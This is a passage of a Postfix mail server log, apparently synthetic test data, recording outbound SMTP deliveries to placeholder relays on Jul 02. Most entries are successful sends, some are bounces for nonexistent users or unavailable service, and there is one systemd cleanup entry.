2.0.0 OK) +Jul 02 11:05:21 mail-server postfix/smtp[2118]: FBD8E5230D: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:21 mail-server postfix/smtp[2118]: 1590060A5D: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:05:21 mail-server postfix/qmgr[2011]: 1590060A5D: removed +Jul 02 11:05:21 mail-server postfix/smtp[2118]: 0680EA49E7: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:22 mail-server postfix/smtp[2118]: 2E49C3CAA7: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:23 mail-server postfix/smtp[2118]: 43163E70EA: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:23 mail-server postfix/qmgr[2011]: 43163E70EA: removed +Jul 02 11:05:23 mail-server postfix/smtp[2118]: 65A2E28C38: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:23 mail-server postfix/smtp[2118]: 0ED77D1E13: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:23 mail-server postfix/smtp[2118]: BCD38B4F5A: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[2118]: 4D7BAC7022: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:25 mail-server postfix/qmgr[2011]: 4D7BAC7022: removed +Jul 02 11:05:26 mail-server postfix/smtp[2118]: AE8916E2D1: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:26 mail-server postfix/smtp[2118]: 92AEB51E49: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:27 mail-server postfix/smtp[2118]: 38DF206D42: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:27 mail-server postfix/qmgr[2011]: 38DF206D42: removed +Jul 02 11:05:27 mail-server postfix/smtp[2118]: 0EB9B46AC6: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[2118]: 352A9C8902: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[2118]: BADA525746: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[2118]: 63D37F1114: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:31 mail-server postfix/smtp[2118]: FDA52FAB1E: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:31 mail-server postfix/smtp[2118]: DDDFD063B5: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:32 mail-server postfix/smtp[2118]: 09331940BA: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:32 mail-server postfix/smtp[2118]: 9E47978026: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:33 mail-server postfix/smtp[2118]: A8DD7D3E32: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:33 mail-server postfix/smtp[2118]: C8975E0CA2: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[2118]: C22C5718BB: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[2118]: 6EA4E34224: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:36 mail-server postfix/smtp[2118]: 6C521413AB: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:37 mail-server postfix/smtp[2118]: F3E2BD246D: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:37 mail-server postfix/smtp[2118]: 20172200C4: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:38 mail-server postfix/smtp[2118]: C2B04D2326: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[2118]: C5CAF748D0: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[2118]: F9FBB9083C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:41 mail-server postfix/smtp[2118]: 0DCF9E225C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:41 mail-server postfix/smtp[2118]: FEB05C0B82: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:41 mail-server postfix/smtp[2118]: 3420ED4D38: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:43 mail-server postfix/smtp[2118]: 7FA5F54796: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:43 mail-server postfix/smtp[2118]: DC3998525C: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:43 mail-server postfix/smtp[2118]: 76504A8901: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:43 mail-server postfix/smtp[2118]: 54E6B28A4C: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:43 mail-server postfix/qmgr[2011]: 54E6B28A4C: removed +Jul 02 11:05:43 mail-server postfix/smtp[2118]: 0C61B8A976: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[2118]: AF3D484BB5: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:05:45 mail-server postfix/qmgr[2011]: AF3D484BB5: removed +Jul 02 11:05:45 mail-server postfix/smtp[2118]: 9194BF69EC: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:46 mail-server postfix/smtp[2118]: 3CBC2E7CD5: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:47 mail-server postfix/smtp[2118]: 70825EDEE7: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:47 mail-server postfix/smtp[2118]: 866DA18256: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:05:47 mail-server postfix/qmgr[2011]: 866DA18256: removed +Jul 02 11:05:48 mail-server postfix/smtp[2118]: 796FCFFAAF: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:48 mail-server postfix/smtp[2118]: AD64D0E66C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:48 mail-server postfix/smtp[2118]: 339EAD0168: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:48 mail-server postfix/smtp[2118]: 644FEBE0C0: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:48 mail-server postfix/smtp[2118]: E78D9CFB70: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[2118]: C98E1E9B48: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:50 mail-server postfix/qmgr[2011]: C98E1E9B48: removed +Jul 02 11:05:50 mail-server postfix/smtp[2118]: B768F47958: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:51 mail-server postfix/smtp[2118]: FA7AA5966C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:52 mail-server postfix/smtp[2118]: 9DA35822AE: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:53 mail-server postfix/smtp[2118]: 3C7D41E67A: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:05:53 mail-server postfix/qmgr[2011]: 3C7D41E67A: removed +Jul 02 11:05:53 mail-server postfix/smtp[2118]: 1DC19F4BAC: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:53 mail-server postfix/smtp[2118]: 1F69719385: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:05:53 mail-server postfix/qmgr[2011]: 1F69719385: removed +Jul 02 11:05:53 mail-server postfix/smtp[2118]: D158F47152: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[2118]: 1B87F39748: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[2118]: 6AE8AB8AB3: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:56 mail-server postfix/smtp[2118]: C7C3D8C63A: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:57 mail-server postfix/smtp[2118]: 2E33B386A5: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:57 mail-server postfix/smtp[2118]: AEA1808BD0: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:57 mail-server postfix/smtp[2118]: 63CC509FD1: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:58 mail-server postfix/smtp[2118]: FF9C7EED9F: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:58 mail-server postfix/smtp[2118]: 534ADE2494: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:58 mail-server postfix/qmgr[2011]: 534ADE2494: removed +Jul 02 11:05:58 mail-server postfix/smtp[2118]: 4A69B5D055: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[2118]: 631CC2D47F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[2118]: 096E27AB27: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[2118]: DE8C6270B1: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:06:00 mail-server postfix/qmgr[2011]: DE8C6270B1: removed +Jul 02 11:06:01 mail-server postfix/smtp[2118]: 390630E956: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:01 mail-server postfix/smtp[2118]: DDA2B87E1A: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:02 mail-server postfix/smtp[2118]: 15BE121896: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:03 mail-server postfix/smtp[2118]: 3D9EA462FF: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:06:03 mail-server postfix/qmgr[2011]: 3D9EA462FF: removed +Jul 02 11:06:03 mail-server postfix/smtp[2118]: C92147FF08: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:03 mail-server postfix/smtp[2118]: 4A05DEBA9C: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:03 mail-server postfix/smtp[2118]: D73C2F8835: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:07 mail-server postfix/smtp[2118]: 925E85D6FE: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:07 mail-server postfix/smtp[2118]: 6CDA5C56AB: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:06:07 mail-server postfix/qmgr[2011]: 6CDA5C56AB: removed +Jul 02 11:06:07 mail-server postfix/smtp[2118]: 2BC514CFCD: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:06:07 mail-server postfix/qmgr[2011]: 2BC514CFCD: removed +Jul 02 11:06:07 mail-server postfix/smtp[2118]: 0506C00FAF: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:08 mail-server postfix/smtp[2118]: A88F944AB0: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:08 mail-server postfix/smtp[2118]: 56E29C0BC3: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[2118]: 0448D6C799: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[2118]: 88CE7CE4AA: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:10 mail-server postfix/qmgr[2011]: 88CE7CE4AA: removed +Jul 02 11:06:10 mail-server postfix/smtp[2118]: 3FBDBE9998: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:11 mail-server postfix/smtp[2118]: BD73065E93: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:12 mail-server postfix/smtp[2118]: A03B3037E1: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:12 mail-server postfix/smtp[2118]: EF25678B20: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:12 mail-server postfix/smtp[2118]: BD7FA8EB0C: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:12 mail-server postfix/smtp[2118]: 6A6FB06775: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:13 mail-server postfix/smtp[2118]: 42FC71F705: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 11:06:15 mail-server postfix/smtp[2118]: 5032CBFD8D: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[2118]: 2504DB33FB: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[2118]: 1BCD6CE986: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[2118]: 8EA1495CB9: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:15 mail-server postfix/qmgr[2011]: 8EA1495CB9: removed +Jul 02 11:06:16 mail-server postfix/smtp[2118]: 098F0F3693: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:16 mail-server postfix/qmgr[2011]: 098F0F3693: removed +Jul 02 11:06:18 mail-server postfix/smtp[2118]: 1766DC208C: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:18 mail-server postfix/smtp[2118]: 5E120A514C: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:06:18 mail-server postfix/qmgr[2011]: 5E120A514C: removed +Jul 02 11:06:18 mail-server postfix/smtp[2118]: 336A7515F0: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:18 mail-server postfix/qmgr[2011]: 336A7515F0: removed +Jul 02 11:06:18 mail-server postfix/smtp[2118]: 51187EC79D: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:18 mail-server postfix/smtp[2118]: 6B3F2481D8: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:21 mail-server postfix/smtp[2118]: 0C584982E1: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:21 mail-server postfix/smtp[2118]: 0069DCAC30: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:22 mail-server postfix/smtp[2118]: 20D738EDCF: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:22 mail-server postfix/smtp[2118]: EFF2D350D5: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:22 mail-server postfix/smtp[2118]: 7F8F05B5DD: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:23 mail-server postfix/smtp[2118]: DF7794A507: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[2118]: 314F848F70: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:26 mail-server postfix/smtp[2118]: 583995B4BE: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:06:26 mail-server postfix/qmgr[2011]: 583995B4BE: removed +Jul 02 11:06:26 mail-server postfix/smtp[2118]: 690A6DC929: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:27 mail-server postfix/smtp[2118]: 5705B3BB73: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:06:27 mail-server postfix/qmgr[2011]: 5705B3BB73: removed +Jul 02 11:06:27 mail-server postfix/smtp[2118]: 1CF4293E9C: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:28 mail-server postfix/smtp[2118]: 179E353B20: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[2118]: F90E712AC3: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[2118]: 466CF0E0A2: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[2118]: 94DBA9521D: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:31 mail-server postfix/smtp[2118]: 8BEAA6ED7D: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:31 mail-server postfix/smtp[2118]: B7BE9D98C7: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:32 mail-server postfix/smtp[2118]: 9734E8541A: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:06:32 mail-server postfix/qmgr[2011]: 9734E8541A: removed +Jul 02 11:06:32 mail-server postfix/smtp[2118]: B9E631F872: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:32 mail-server postfix/qmgr[2011]: B9E631F872: removed +Jul 02 11:06:33 mail-server postfix/smtp[2118]: 15E41B7446: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[2118]: 5DFEE7B808: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:36 mail-server postfix/smtp[2118]: 74FDAB0AA9: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:06:36 mail-server postfix/qmgr[2011]: 74FDAB0AA9: removed +Jul 02 11:06:36 mail-server postfix/smtp[2118]: 70FE776568: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:36 mail-server postfix/qmgr[2011]: 70FE776568: removed +Jul 02 11:06:37 mail-server postfix/smtp[2118]: 85632B7322: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) 